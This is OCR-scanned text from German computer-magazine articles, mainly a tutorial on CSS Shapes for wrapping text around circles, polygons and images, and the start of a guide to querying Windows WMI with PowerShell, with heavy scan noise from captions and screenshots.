ich will. Fiirs effektive Kalorienzédhlen
fehlt mir allerdings noch eine Datenbank
mit Nahrungsmitteln, aber auch da habe
ich schon Ideen. (pmk@ct.de) €€

Wireshark, Quelltext der App:
ct.de/ylwg
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CSS-Shapes: Sichtbar/unsichtbar

Ein SVG-Bild. Fine eckige
Box in einer eckigen Box in
einer eckigen Box, alle
mit Padding, Border
und Margin - so sehen
Webseiten durch die
CSS-PBrille betrachtet
aus. Zwar kann man mit

Die Kontur des linken
SVG-Bildes. Eine eckige Box
in einer eckigen Box in
einer eckigen Box, alle
mit Padding, Border
b . und Margin — so sehen
Unsichtbares Bild Webseiten durch die
CSS-Brille betrachtet aus. Zwar

Stylesheets langst auch

andere Formen als

Vierecke zeichnen, wenn
man zu Hacks mit
Transparenz und Border-
Radius greift. Doch was

fiirs Auge wie ein Kreis oder ein Dreieck aussieht, bleibt fiir den
Renderer immer noch ein Rechteck. Der Unterschied macht sich
bemerkbar, wenn Sie Text um das Element herumflieBen lassen. Statt
sich elegant an einer Rundung oder Schrage auszurichten — wie man
es in praktisch jeder Illustrierten sehen kann —, verlduft der linke
Textrand in HTML und CSS stets exakt senkrecht. Diese Beschrankung
im Web zu umgehen, war bisher nur mit SVG oder einzeln
ausgerichteten Zeilen (manuell oder per JavaScript) mdglich.

JavaScript) mdglich.

til in Bestform

Textumfluss gestalten mit CSS Shapes

So reich die Méglichkeiten von

CSS auch sind: Bisher waren alle
Elemente einer Webseite nur
Rechtecke. CSS Shapes durchbricht
diese fundamentale Einschriankung
- und ist nun in den meisten
Browsern verfligbar.

Von Herbert Braun

E ine eckige Box in einer eckigen Box in
einer eckigen Box, alle mit Padding,
Border und Margin - so sehen Webseiten
durch die CSS-Brille betrachtet aus. Zwar
kann man mit Stylesheets lingst auch
andere Formen als Vierecke zeichnen,
wenn man zu Hacks mit Transparenz und
border-radius greift.

Der Unterschied macht sich bemerk-
bar, wenn Sie Text um das Element he-
rumflieflen lassen. Statt sich elegant an
einer Rundung oder Schrige auszurichten
- wie in fast jeder Illustrierten zu sehen -,
verlduft der linke Textrand in HTML und
CSS stets exakt senkrecht. Diese Beschrin-
kung im Web zu umgehen, war bisher nur
mit SVG oder einzeln ausgerichteten Zei-
len (manuell oder per JavaScript) moglich.
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Mit CSS Shapes kann man nun Text
um Formen, etwa Ellipsen und Polygone,
herum laufen lassen. In Chrome und Safari
ist dieses CSS-Modul schon seit geraumer
Zeit implementiert. Seit Kurzem steht es
auch fur Firefox (ab Version 62) zur Verfu-
gung. Unter den aktuellen Browsern fehlt
es nur in Edge. Da Microsofts Browser
aber einen Chromium-Unterbau erhalten
soll, ist es nur eine Frage der Zeit, bis auch
er CSS Shapes beherrscht. Als Notlosung
fiir Edge und Internet Explorer sowie
flir altere Browser steht Adobes Skript
css-shapes-polyfill zur Verfligung (siche
ct.de/ysfa).

Die Idee zu CSS Shapes stammt nicht
von den iiblichen Verdichtigen aus dem
Lager der Browser-Hersteller, sondern
von Adobe. Es hat einige Jahre gedauert
seit den ersten Entwiirfen und experimen-
tellen Implementierungen in Browsern.
Vorsicht also vor dlteren Online-Tutorials:
Mancher darin vorgestellter Code ist
inzwischen aus der Spezifikation und aus
den Browsern geflogen.

Hallo, runde Welt

Ein minimales Beispiel sieht etwa so aus:

"circle"
UmflieBender Text

kann man mit
Stylesheets léngst auch
andere Formen als
Vierecke zeichnen, wenn
man zu Hacks mit
Transparenz und Border-

Radius greift. Doch was fiirs Auge wie ein Kreis oder ein Dreieck

ieht, bleibt fiir den Renderer immer noch ein Rechteck. Der

schied macht sich bemerkbar, wenn Sie Text um das Element

herumflieBen lassen. Statt sich elegant an einer Rundung oder
Schrége auszurichten — wie man es in praktisch jeder Illustrierten
sehen kann —, verlduft der linke Textrand in HTML und CSS stets exakt
senkrecht. Diese Beschrankung im Web zu umgehen, war bisher nur
mit SVG oder einzeln ausgerichteten Zeilen (manuell oder per

Das Stylesheet erkldrt das <div> nun zum
Kreis:

.circle {
float: left;
width: 10em;

height: 1@em;
shape-outside: circle(5em);

}

Am besten erkennen Sie den Effekt, wenn
der Text ausreichend lang, klein und mit
geringem Zeilenabstand gesetzt ist: Der
Text im <p> umfliefdt nun einen unsicht-
baren Kreis. Genauer gesagt zeichnet sich
nur die dem Text zugewandte rechte
Kreishélfte ab, wihrend die linke im
Schatten steht - der Text kann die Form
nur auf einer Seite umflieflen.

Damit das klappt, benotigen Sie alle
vier der obigen CSS-Eigenschaften. CSS-
Shapes funktionieren niamlich nur in
Floats, deren Dimensionen explizit ge-
setzt sind. Die Form selbst gibt shape-
outside an - in diesem Fall ein Kreis, der
exakt in das Element passt.

Was anfangs verwirrt: CSS Shapes hat
seinem Namen zum Trotz keinen Einfluss
auf die Form des Elements. Die Grund-
idee ist vielmehr, die Form und den Text-
umfluss voneinander zu trennen - was die
Entwicklerwerkzeuge der Browser mit der
Hervorheben-Funktion visualisieren. Falls
Sie also dem obigen <div> eine Hinter-
grundfarbe zuweisen, erscheint die
uibliche Viereckform auf dem Bildschirm,
wobeli die Ecken rechts vom umflief3en-
den Text iiberdeckt sind.

Shapes konnen Sie fiir linksseitige
und/oder rechtsseitige Floats einsetzen.
Wie immer muss das umflief3ende Ele-
ment im HTML hinter den Floats stehen:
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<div class="links"></div>
<div class="rechts"></div>
<p>UmflieBender Text</p>

Bei rechtsseitigen Shapes sollten Sie im
umflieffenden Text Blocksatz (text-align:
justify) erwdgen, um den Umriss besser
sichtbar zu machen.

Formen und Farben

Um die Basisform fiir den Umbruch zu
definieren, sieht die Spezifikation mehrere
Moglichkeiten vor:

shape-outside: ellipse(5em 2.5em);
shape-outside:

inset(60px 30px 60px 0);
shape-outside:

polygon(@ 0, 100% 50%, 0 100%);

HTML-Veteranen fiihlen sich bei diesem
Formenrepertoire vielleicht an das kaum
mehr gebrauchliche <area>-Element erin-
nert, das auf dhnliche Weise Link-Regio-
nen kennzeichnet. Eine ellipse() unter-
scheidet sich von einem circle() nur
durch einen zweiten Radius, wobei der
Radius entlang der X-Achse an erster Stel-
le steht. inset() bleibt bei der Rechteck-
form, verkleinert diese jedoch fiir den
Textumfluss; die Reihenfolge der Werte
orientiert sich CSS-iiblich am Uhrzeiger-
sinn.

Bei einem polygon() geben Sie die Ko-
ordinatenpunktpaare kommagetrennt an.
Der Ursprung des Koordinatensystems
liegt in der linken oberen Ecke. Polygone
sind schwierig von Hand zu schreiben;
Werkzeuge dafiir gibt es beispielsweise in
Form von Erweiterungen fiir Firefox und
Chrome oder als Online-Tool (siche
ct.de/ysfa).

Standardméflig hat die Form den
gleichen Mittelpunkt wie das zugehorige
Element. Das ldsst sich allerdings mit dem
Wortchen at dndern:

float: left;

shape-outside: circle(50% at 0 50%);

Dies verschiebt den Mittelpunkt der Form
an den linken Rand des Elements. Der
rechts vorbeiflielende Text spart also
einen Halbkreis aus. Sie konnen fiir at
auch andere Grofenangaben (px, em et ce-
tera) oder die einschldgig bekannten
Schliisselworte left, right, top, bottom,
center verwenden; Default ist at 50% 50%
beziehungsweise at center.

Dass die CSS-Form aus ihrem Ele-
ment hinausragt, hat auf andere Elemente
keinen Einfluss - auch nicht auf das um-
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mes: einfaches Demo

EifEreis. Eine eckige Box in einer eckigen Box in einer eckigen Box, alle mit
Padding, Border und Margin — so sehen Webseiten durch die CSS-Brille
betrachtet aus. Zwar kann man mit Stylesheets langst auch andere Formen als
| Wierecke zeichnen, wenn man zu Hacks mit Transparenz vnd Border-Radins
oreift. Doch was fiirs Auge wie ein Kreis oder ein Dreieck aussieht, bleibt
fiir den Renderer immer noch ein Rechteck. Der Unterschied macht sich
emerkbar, wenn Sie Text um das Element herumflieBen lassen. Statt sich
slegant an einer Rundung oder Schrige auszurichten — wie man es in
praktisch jeder [llustrierten sehen kann — verlauft der linke Textrand in
HTML und CSS stets exakt senkrecht. Diese Beschrankung im Web zu
umgehen, war bisher nur mit SVG oder einzeln ausgerichteten Zeilen (manuell

‘oder per JavaScript) moglich

.circle {

1 left;

: 18em;
: 1@em;

: circle(5em);

Mit CSS Shapes kann Text sichtbare oder unsichtbare Objekte

umflieBen. Die Entwicklerwerkze

fliefSende, denn der Einfluss auf den Text-
umbruch endet an den Grenzen des
Shape-Elements.

float: left;
shape-outside:

circle(50% at right center);

Diese at-Regel ist synonym zu 100% 50%.
Die rechte Halfte des Kreises ragt iiber das
Float-Element hinaus und wird daher
ignoriert. Da die linke Halfte unsichtbar
im Schatten steht, bewirkt diese shape-
outside-Deklaration gar nichts.

Auch fiir die Groflenangabe der Form
stehen bei Kreisen und Ellipsen Schliissel-
worter als Alternative bereit:

float: left;
width: 200px;

uge machen die Kanten sichtbar.

height: 100px;

shape-outside: circle(closest-side);

closest-side legt den Durchmesser auf
100 Pixel fest; die Alternative farthest-
side ndhme die weiter entfernt gelegene
Breite von 200 Pixeln als Grundlage.

Rander

Der Abstand der Form zum umflieflenden
Text ldsst sich prinzipiell iber margin fest-
legen, wobei allerdings tiberraschende
Nebenwirkungen auftreten konnen. Der
Platz fiir die Form ist nicht durch width
oder height beschrankt, sondern auf die
Margin-Box, also inklusive Padding,
Border und Margin:

float: left;
width: 100px;

Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text. Text, Text. Text, T
Text, Text, Text, Text. Text, Text. Text, Text. Text, Text. Text. Text. Text, Text. Text, Tt
Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Te
Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Te

ext. Text, Text, Text, Text, Text. Text.
‘ext, Text, Text, Text, Text. Text. Text,
ext, Text, Text, Text, Text, Text, Text,
Text, Text, Text, Text, Text, Text,

Dieser Text hat

Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text,

ext, Text, Text, Text, Text, Text,

Test, Text;

Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, T

Text.
Text
Text

Text, Text, Te:
Text, Text, Te:
Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text,
Text. Text, Text. | Text, Text. Text, Text, Text, Text, Text, Text, Text, Text. Text,
Text, Text. Text.
Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, T

Text; Text; Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text

Text, Text, Text. Text, Text, Text. Text. Text, Text, Text, Text, Text, Text;
. Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text,
t, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text,
. Text, Text, Text, Text, Text. Text, Text, Text, Text, Text
. Text, Text, Text, Text, Text. Text, Text, Text, Text, Text,

ext, Text, Text, Text. Text. Text. Text Text. Text. Text, Te:

Text, Text, Text, Text, Text, Text, Text, Text, Text, Texct, Text, Text, Text, Text, Text, Text, Text, Text, Text, Texr, Text, Text,
Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text

t, Text, Text, Text, Text, Text, Text, Text, Text, Text, Text, Te %

eine Taille. Die
Einfarbung der
floatenden
Elemente zeigt
ihre rechteckige
Form, die im
Gegensatz zum
Umfluss steht.
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height: 100px;
shape-outside: circle(50%);

margin-right: 20px;

Aus Sicht der Form vergroflert der rechte
Aufdenabstand einfach nur den verfiig-
baren Platz. Der Kreisradius wichst von
50 auf 60 Pixel, weshalb er oben und
unten abgeschnitten wird. Aufderdem ver-
schiebt sich der Mittelpunkt zehn Pixel
nach rechts. Den exakt gleichen Effekt
wiirden margin-left: 20px, padding-left:
20px, width: 120px oder sogar border-right:
20px solid transparent erzielen. Ein ne-
gativer Margin verkleinert das Element,
was bei Prozentangaben beziehungsweise
Default-Werten auch den Radius und den
Mittelpunkt beeinflusst.

Die neue Eigenschaft shape-margin
verhalt sich eher so, wie man es von einem
Auf3enabstand erwartet. Allerdings gilt
auch hier wieder die Beschrankung, dass
eine Shape nicht tiber das Element hi-
nausragen kann. Einen negativen shape-
margin ignoriert der Browser. Eine Kombi-
nation aus margin und shape-margin kann
den gewtiinschten Effekt erzeugen:

float: left;
width: 100px;
height: 100px;
shape-outside:
circle(closest-side
at 50px center);
margin-right: 20px;

shape-margin: 20px;

Der margin vergrofiert das Element um so
viel, dass der shape-margin hineinpasst.

Bildkonturen
Die selbstgezeichneten Formen sind gut
und schon, aber in der Regel sind es doch

Bilder oder Textboxen, um die sich der
Text herumschlangeln soll. CSS Shapes
konnen verbliiffenderweise die Transpa-
renz eines Bildes auslesen und auf dieser
Grundlage den Umfluss berechnen!

<img src="circle.svg">

{p>Text ...</p>
img {
float: left;

width: 100px;

height: 100px;

margin: 5%;

shape-margin: 5%;
shape-outside: attr(src url);

}

Hoppla, die letzte Zeile ist leider noch
Zukunftsmusik - die Browser beherrschen
die attr()-Funktion nicht, daher miissen
Sie im CSS ebenfalls auf die Bild-URL
verweisen:

shape-outside: url("circle.svg");

Und falls die SVG-Datei einen Kreis auf
transparentem Hintergrund enthalt, win-
det sich der Text nun wie erhoftt um das
Bild herum. Mit PNGs und GIFs funktio-
niert das genauso.

In den beiden moderneren Formaten
ist Transparenz nicht gleich Transparenz,
stattdessen gibt es einen Alpha-Kanal. Mit
der Eigenschaft shape-image-threshold
konnen Sie in Farbverldufen einstellen,
bei welchem Grad von Transparenz Sie
die Grenze ziehen:

shape-image-threshold: .3;

Damit darf der Text Bereiche der Grafik
uiberschreiben, die zu mehr als 30 Prozent
durchsichtig sind. Voreingestellt ist der
Wert 0, also jede Transparenz.

Ein SVG-Bild. Eine eckige Box in einer eckigen Box in einer eckigen

Box, alle mit Padding, Border und Margin
die CSS-Brille betra

so sehen Webseiten durch
tet aus. Zwar kann man mit

Stylesheets langst auch andere Formen als
Vierecke zeichnen, wenn man zu Hacks mit
Transparenz und Border-Radius greift.
Doch was fiirs Auge wie ein Kreis oder ein
Dreieck aussieht, bleibt fiir den Renderer
immer noch ein Rechteck. Der
Unterschied macht sich bemerkbar, wenn
Sie Text um das Element herumflieBen
lassen. Statt sich elegant an einer Rundung
oder Schrage auszurichten — wie man es in praktisch jeder
Illustrierten sehen kann -, verlauft der linke Textrand in HTML und
CSS stets exakt senkrecht. Diese Beschrankung im Web zu umgehen,

war bisher nur mit SVG oder einzeln ausgerichteten Zeilen (manuell

oder per JavaScript) moglich.

Eine Box entlang des AuBenrahmens.
Eine eckige Box in einer eckigen Box in
einer eckigen Box, alle mit Padding, /[
Border und Margin - so sehen
Webseiten durch die CSS-Brille
betrachtet aus. Zwar kann man mit '\\
Stylesheets |langst auch andere Formen
als Vierecke zeichnen, wenn man zu
Hacks mit Transparenz und Border-Radius
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/Eine Box. Hier kann ™\
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man beliebig viel

Text reinschreiben, )
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Nur zwei der
Maoglichkeiten: Der

\ Text umflieBt eine
Grafik anhand einer
Transparenzschwelle
und eine Box mit
rundem Rahmen.

er wird mit overflow:

hidden abgeschnit
\, ten, wenn er nicht

‘Qineinpasst, zum

o

Dass Sie die URL des Bildes im CSS
explizit nennen miissen, hat einen Vorteil:
Sie konnen darin auch eine andere Grafik
referenzieren - oder den Text entlang
eines unsichtbaren Bildes umbrechen las-
sen. Vorsicht jedoch beim Einbinden von
fremden Servern: Fir shape-outside:
url() gelten CORS-Regeln, wie Sie sie bei-
spielsweise von Ajax-Abrufen kennen. Der
Server, der das Bild hostet, muss also Ihrer
Domain eine Freigabe fiir die Nutzung
erteilen.

Runde Boxen

Sie wissen jetzt, wie Sie Text entlang
einer Form umflieflen lassen konnen.
Aber ist es auch moglich, den Text selbst
in eine Form zu bringen - also beispiels-
weise eine Textbox zu schaffen, welche
die Form einer Ellipse oder eines Poly-
gons hat?

In einigen dlteren Demos kommt eine
Eigenschaft shape-inside zum Einsatz, die
genau fiir diesen Zweck gedacht war.
Chromium- und Webkit-Entwickler hat-
ten bereits mit der Implementierung be-
gonnen. Dabei traten Schwierigkeiten in
der Umsetzung zutage, sodass shape-in-
side bis auf Weiteres zuriickgestellt
wurde: Esist in die im Entstehen begriffe-
ne Spezifikation CSS Shapes Level 2 ge-
wandert.

Bis dahin muss man das Problem an-
ders l6sen, zum Beispiel mit SVG. Wenn
man ohne auskommen mochte, kommt
die CSS-Eigenschaft clip-path dem shape-
inside am néchsten. Die folgende Zeile
schneidet eine Box in eine runde Form:

clip-path: circle(50%);

Der Eigenschaftswert diirfte Thnen be-
kannt vorkommen - clip-path hat dhnli-
che Optionen wie shape-outside und ist
auch in Sachen Browser-Unterstiitzung
ungefihr auf dem gleichen Niveau. clip-
path verdndert nur die Darstellung der
Box, nicht ihre Form. Daher ist es eine
perfekte Erginzung zu shape-outside: Set-
zen Sie einfach fiir beide Eigenschaften
den gleichen Wert ein, um eine Box ent-
lang ihrer sichtbaren Kontur umflief3en zu
lassen.

Eine Alternative zu clip-path ist der
etablierte Weg, rechte Winkel hinter sich
zu lassen: border-radius, das Kreise, Ellip-
sen und abgerundete Rechtecke ermog-
licht. Von Haus aus bleibt der Textumfluss
zwar auch hier eckig, aber mit einem
weiteren shape-outside-Trick ldsst sich
dies dndern:
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border-radius: 50%;

shape-outside: border-box;

Der Textumfluss kann sich an allen Levels
des Box-Modells orientieren: content-box,
padding-box, border-box und margin-box
stehen als Werte flir shape-outside zur Ver-
fligung. Da border-radius alle vier Ebenen
rundet, besteht der Unterschied nur im
Abstand zum umfliefRenden Text, den Sie
mit shape-margin vergroflern konnen.
Hohen- und Breitenangaben sind in
diesem Fall nicht notwendig.

Wihrend clip-path auf Inhalte, Rah-
men und Schatten keinerlei Riicksicht
nimmt, bewegen Sie sich bei border-radius
im CSS-Kerngebiet des Box-Modells. Das
lasst Thnen die Wahl, mit overflow: hidden
ahnlich vorzugehen oder die Grofie des
Containers an die Textlinge anzupassen.

Grenzen im (Um)Fluss

CSS Shapes bereichert die Gestaltungs-
moglichkeiten im Web. Dennoch gab es
auch Enttauschung dariiber: Trotz jahre-
langer Vorarbeit fehlt das hochinteressante

shape-inside, und das gesamte Feature ist
auf Floats angewiesen, die im Zeitalter der
Flexboxen an Beliebtheit verloren haben.

Tatsdchlich waren die urspriinglichen
Pline weit ambitionierter. Die Umsetzung
in den Rendering-Engines hitte jedoch so
viel Aufwand verursacht, dass CSS Shapes
nur durch die Reduzierung auf shape-out-
side, shape-margin und shape-image-thres-
hold zu retten war. Es ist anzunehmen,
dass sich das noch dndern wird. Andere
Beschrinkungen wie die, dass Text nur
Elemente links und/oder rechts, aber
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CSS Shapes und clip-
path ergeben ein
perfektes Paar, um Text
in Form zu bringen.

nicht in der Mitte umfliefSen kann, haben
mit den Shapes nichts zu tun.

Doch auch so erlaubt CSS Shapes und
das verwandte clip-path Layouts, die man
bislang nur im Print-Bereich kannte.
Nachdem nun der iiberwiegende Teil der
Browser damit zurechtkommen, steht
dem kreativen Einsatz nichts mehr im
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Alles-Verwalter

Windows clever managen mit WMI

Jede Windows-Installation enthailt
eine systemweite, universelle
Datenbank mit Informationen zu
Ausstattung und Konfiguration des
Rechners. Sie heiBt WMI und ldsst
sich nicht nur von Hand abfragen,
sondern auch automatisiert per
Skript. Administratoren konnen
damit sogar Daten von allen

Rechnern im Netzwerk einsammeln.

Von Hajo Schulz

176 mOO

en freien Platz auf den Laufwerken

kann man mit dem Windows-Explo-
rer ermitteln. Welche Benutzerkonten ein-
gerichtet sind, verrit die Computerver-
waltung. Was fiir Programme gerade lau-
fen und wie viel Speicher jedes belegt,
zeigt der Task-Manager an. Installierte
Updates listet eine Seite der Einstellun-
gen-App. Informationen {iber den System-
zustand findet man in Windows zuhauf,
allerdings weit verstreut tiber viele Pro-
gramme und Fenster. All die genannten
Angaben - und unzahlige mehr - stehen

auch unter einer einheitlichen Schnittstel-
le zur Verfiigung. Sie heifst Windows Ma-
nagement Instrumentation (WMI) und
lasst sich mit Skripten sogar automatisiert
abfragen. Aulerdem konnen Administra-
toren per WMI Informationen von allen
Windows-PCs im Netzwerk einsammeln.

WMI ist Microsofts Implementierung
des Common Information Model (CIM),
eines von der Distributed Management
Task Force (DMTF) entwickelten Stan-
dards fiir das Management von IT-Syste-
men. Von der DMTF stammen aufierdem
die Spezifikationen des Web-Based Enter-
prise Management (WBEM), dessen Da-
tenmodell CIM ist. Wissen muss man das
alles nicht, aber die Abkiirzungen werden
Ihnen bei der Beschaftigung mit WMI frii-
her oder spiter tiber den Weg laufen.

WMI ist seit Windows 2000 bezie-
hungsweise Server 2003 fester Bestand-
teil jeder Windows-Installation. Darauf
zugreifen kann man seit eh und je unter
anderem per Windows Scripting mit
VBScript oder iiber das Befehlszeilenpro-
gramm wmic. Das aktuelle Mittel der Wahl
ist allerdings die PowerShell. Wie man von
ihr aus auf WMI zugreift, erkliren wir im
Folgenden detailliert.

Grafische Tools sind eher diinn gesit,
was aber kein grofder Nachteil ist: Um die
volle Power von WMI zu nutzen, muss man
sich frither oder spiter ohnehin mit der
WMI-eigenen, SQL-dhnlichen Abfrage-
sprache namens WQL beschiftigen. Und
ob man solche Abfragen dann direkt in die
PowerShell, einen Skript-Editor oder eine
grafische Oberfliche eintippt, macht kei-
nen grofden Unterschied. Ein grafisches
Programm ist aber kaum zu entbehren: der
kostenlose WMI Explorer von Alexander
Kozlov (Download tiber ct.de/y6kj), mit
dem man sich recht schnell einen Uber-
blick dartiber verschaffen kann, welche In-
formationen in WMI bereitstehen. Im
Windows-Lieferumfang enthalten ist da-
rliber hinaus das ,,Testprogramm fiir Win-
dows-Verwaltungsinstrumentation, das
sich mit der Eingabe wbemtest in ein Power-
Shell-Fenster, eine Eingabeaufforderung
oder den Win+R-Dialog starten lasst. Es
présentiert sich untibersichtlicher als der
WMI Explorer, einige Zusammenhéinge
zwischen WMI-Objekten lassen sich aber
nur mit wbemtest sinnvoll ergriinden.

Datentank

In der Windows PowerShell stehen gleich
zwei Sitze an Befehlen zur Verfligung, mit
denen man auf WMI zugreifen kann. Die
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klassischen WMI-Cmdlets aus dem
Modul Microsoft.PowerShell. Manage-
ment haben einen nicht unerheblichen
Anteil daran, dass die PowerShell sich
unter Admins als weit verbreitetes Werk-
zeug durchgesetzt hat. Es gibt sie nach wie
vor, aber Microsoft empfiehlt mittlerweile,
flir WMI-Operationen die Befehle aus
dem Modul CimCmdlets zu verwenden.
Das ist seit der Version 3.0 Bestandteil der
PowerShell, also seit Windows 8 bezie-
hungsweise Server 2012. Diese Cmdlets
haben gleich mehrere Vorteile: Zum einen
sind sie universeller zu verwenden als die
klassischen, sie stehen auch in der Power-
Shell Core zur Verfiigung. Aufderdem nut-
zen sie beim Remoting, also beim WMI-
Zugriff auf andere Rechner iibers Netz-
werk, das modernere WinRM-Protokoll
statt des veralteten und als unsicher gel-
tenden DCOM. Fiir PowerShell-Vetera-
nen werden wir im Folgenden die traditio-
nellen WMI-Befehle noch erwahnen, uns
aber auf die CIM-Cmdlets konzentrieren.

WMI ist eine objektorientierte
Schnittstelle. Das heif3t, dass simtliche In-
formationen in Form von Objekten vorlie-
gen. Darunter versteht man in sich ge-
schlossene Zusammenstellungen von
Daten - sogenannte Eigenschaften oder
Attribute -, die einen Gegenstand oder ein
Konzept aus der realen Welt beschreiben.
Jedes Objekt gehort zu einer sogenannten

Klasse; man konnte auch sagen, Klassen
stellen die Baupline fiir Objekte dar. So
gibt es beispielsweise eine Klasse, die
weif3, welche Attribute einen Prozessor be-
schreiben: der Hersteller, die Modellbe-
zeichnung, die Taktfrequenz, die Busbreite
und so weiter. Ein konkretes Objekt nennt
man auch Instanz seiner Klasse. Die In-
stanzen der Prozessor-Klasse wiren dann
die CPUs des Rechners, dessen WMI-Sys-
tem man gerade befragt; auf Desktop-Sys-
temen gibt es meist nur eine davon.

Um beispielsweise deren Taktfre-
quenz herauszufinden, muss man zu-
ndchst einmal in Erfahrung bringen, wie
die zustindige WMI-Klasse heift. Dazu
gibt es mehrere Wege: Wer es grafisch
mag, bemiitht den WMI Explorer. Der
zeigt in der Listbox in der oberen Fenster-
hilfte alle ihm bekannten WMI-Klassen
alphabetisch sortiert an. Die Namen der
Klassen, in denen man interessante Infor-
mationen findet, beginnen in der Regel
mit ,Win32_%, auch einige der Klassen,
deren Namen mit ,,CIM_“ anfangen, kon-
nen sich lohnen. Trotzdem ist es ziemlich
mithsam, in den meist iiber 1000 Klassen,
die auf einer durchschnittlichen Win-
dows-10-Installation existieren, das Pas-
sende zu finden.

In der PowerShell liefert der Befehl
Get-CimClass eine Liste aller Klassen. Man
kann ihm eine Suchmaske mit den tibli-

WMI | Know-how

chen Wildcard-Zeichen als Argument mit-
geben. So findet

Get-CimClass *processor*

jene CIM-Klassen, in deren Name das
Wort ,,processor vorkommt - um ein biss-
chen Raten kommt man mit dieser Taktik
aber nicht herum. Liegt man dabei falsch
und geht vielleicht davon aus, dass der
Name der passenden Klasse ,,CPU* ent-
halten miisste, findet man nichts Sinnvol-
les. Dann kann man immer noch versu-
chen, iiber einen vermuteten Eigenschafts-
namen die richtige Klasse zu finden:

Get-CimClass -PropertyName *clock*

liefert alle Klassen, deren Instanzen min-
destens eine Eigenschaft haben, in deren
Name das Wort ,,clock” vorkommt. So
wird dann schnell klar, dass im Beispiel
Win32_Processor der aussichtsreichste Kan-
didat ist.

Die Instanzen einer gegebenen Klas-
se ruft das Cmdlet Get-CimInstance ab:

Get-CimInstance Win32_Processor

Flir dieses ist auch der Kurzbefehl gcimals
Alias definiert. Im klassischen WMI-Be-
fehlssatz heifdt dasselbe Kommando Get-
WmiObject, kurz gwmi. Wie in der Power-
Shell iiblich, liefern all diese Befehle ein
oder mehrere Objekte zuriick, die man
etwa Variablen zuweisen kann; die Eigen-

ﬂ WIMI Explarer
Action  Search  Help
Claszes I Huery ]

in32_HeatPipe
in32_|DE Controller

ih32_InfraredDevice

ih32_IP4RouteT able

in32_IR0Resource
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<

Instances ]

Das kostenlose
Werkzeug WMI Explorer
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E¥ Windows PowerShell

PS5 C:\Windows> gcim Win32_Process
ted

ProcessId Name

sihost .exe
svchost . exe 375
svchost . exe 578
taskhostw.exe 351 14774272
4232 126992384
212 7446528
131 4321280
120 6361082
ShellExperienceHost.exe 1751 94912512
dllhost . exe 131 4669448
131209280
18395648
26533888
97894408
7ed1e24
3678208
25161728
16281608
17863936
86921216
16232448
45965312
11599872
131694592
13991936
12128064
7757824

17715208
25128968

Runt imeBroker. exe

explorer.exe
dllhost.exe
xe

Runt imeBroker.
powershell.exe
conhost . exe
SystemSettings.exe
spluowbd.

whemt est . exe
SearchProtocolHost.exe

PS C:\Windows>

schaften lassen sich per Punkt-Notation
oder mithilfe des Cmdlet Select-Object
(kurz select) auslesen.

Im WMI Explorer fiillt ein Klick auf
einen Klassennamen die Box unten links
mit den Instanzen dieser Klasse. Ein Klick
dorthin lisst unten rechts die Eigenschaf-
ten dieses Objekts erscheinen.

Filtern
Bei CPUs ist die Anzahl der Instanzen
meist sehr tibersichtlich. Bei vielen ande-
ren Anfragen liefert gcimjedoch eine lange
Liste von Objekten zuriick, von denen
meist nur eines oder wenige interessieren.
In der PowerShell konnte man so eine
Liste mithilfe des Cmdlet Where-Object
(kurz where oder ?) filtern, aber das ist nur
die zweitbeste Losung: Spitestens wenn
man herausfinden will, auf welchen Rech-
nern im Netz etwa gerade der Mail-Client
Thunderbird lduft, ist es pure Verschwen-
dung, erst einmal alle laufenden Program-
me von allen Rechnern einzusammeln und
ihre kompletten Informationen iibers Netz
zu Ubertragen, nur um dann 99 Prozent
davon gleich wieder wegzuwerfen. Sinn-
voller ist es deshalb, den in WMI eingebau-
ten Filtermechanismus zu verwenden.

In erster Niherung funktioniert er
iiber das Argument Filter des Befehls
Get-CimInstance:

gcim Win32_Process °

-Filter 'Name = "thunderbird.exe"'

Bei der Syntax des Filters fallen mehrere
Dinge auf: Zum einen verwendet er fiir den
Vergleich nicht die PowerShell-typischen
Operatoren wie -eq, -gt oder -1le, sondern
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Der natirliche
Lebensraum fiir
WMI-Abfragen und
-Aktionen ist die
PowerShell. Hier
stehen gleich

zwei Satze an
verwendbaren
Befehlen zur
Verfligung.

2293488489472
2293454861312
2293550875648
2293599836416
2224857993216
4443865888

4396871680

4439789568

2203847577600
2203417174016
2233646865920
2203726778363
2283556626432
2203886632960
2203429924864
2283412578384
2203600297984
2283521523712
2293512709120
2201068459180
2203469893632
2203742105680
2203447918980
2291300767232
2283166571776
2283455451136
2203423604736

die in fast allen anderen Sprachen tiblichen
Operatoren wie =, > oder <=. Die Filterung
nimmt hier ja nicht die PowerShell vor,
sondern schon die WMI-Engine an der
Quelle. Sie verwendet dazu Ausdriicke in
der Sprache WQL. Die Abkiirzung steht fiir
»WMI Query Language"; die Sprache lehnt
sich eng an SQL an (Structured Query
Language), die in den meisten relationalen
Datenbanken verwendete Abfragesprache.
Zum Zweiten muss man bei der For-
mulierung eines Filters mit den Anfiih-
rungszeichen aufpassen, wenn es um
einen Zeichenkettenvergleich geht: Man
schliefdt den Filter insgesamt in eine Sorte
Gansefiifdchen ein und verwendet im In-
neren eine andere. Wo man einfache und
wo doppelte bevorzugt, ist dabei aber egal.
Ungewohnlich sind die Jokerzeichen,
die WQL beim Filtern mit einer Textmas-
ke erwartet: Wie in SQL steht hier ein Un-
terstrich () fiir ein einzelnes Zeichen, ein
Prozentzeichen (%) fiir beliebig viele:

gcim Win32_Process -Filter °
"ExecutablePath like 'C:\\Windows\\%'"

liefert alle laufenden Prozesse, deren aus-
fithrbare Datei im Windows-Ordner und
dessen Unterverzeichnissen gespeichert
ist. Der Operator fiir Joker-Vergleiche ist
das Wort like.

Queries

Dass man dem Befehl Get-CimInstance
einfach einen Klassennamen und einen
Filter mitgeben kann, ist genau genom-
men eine Komfort-Funktion, die ein biss-
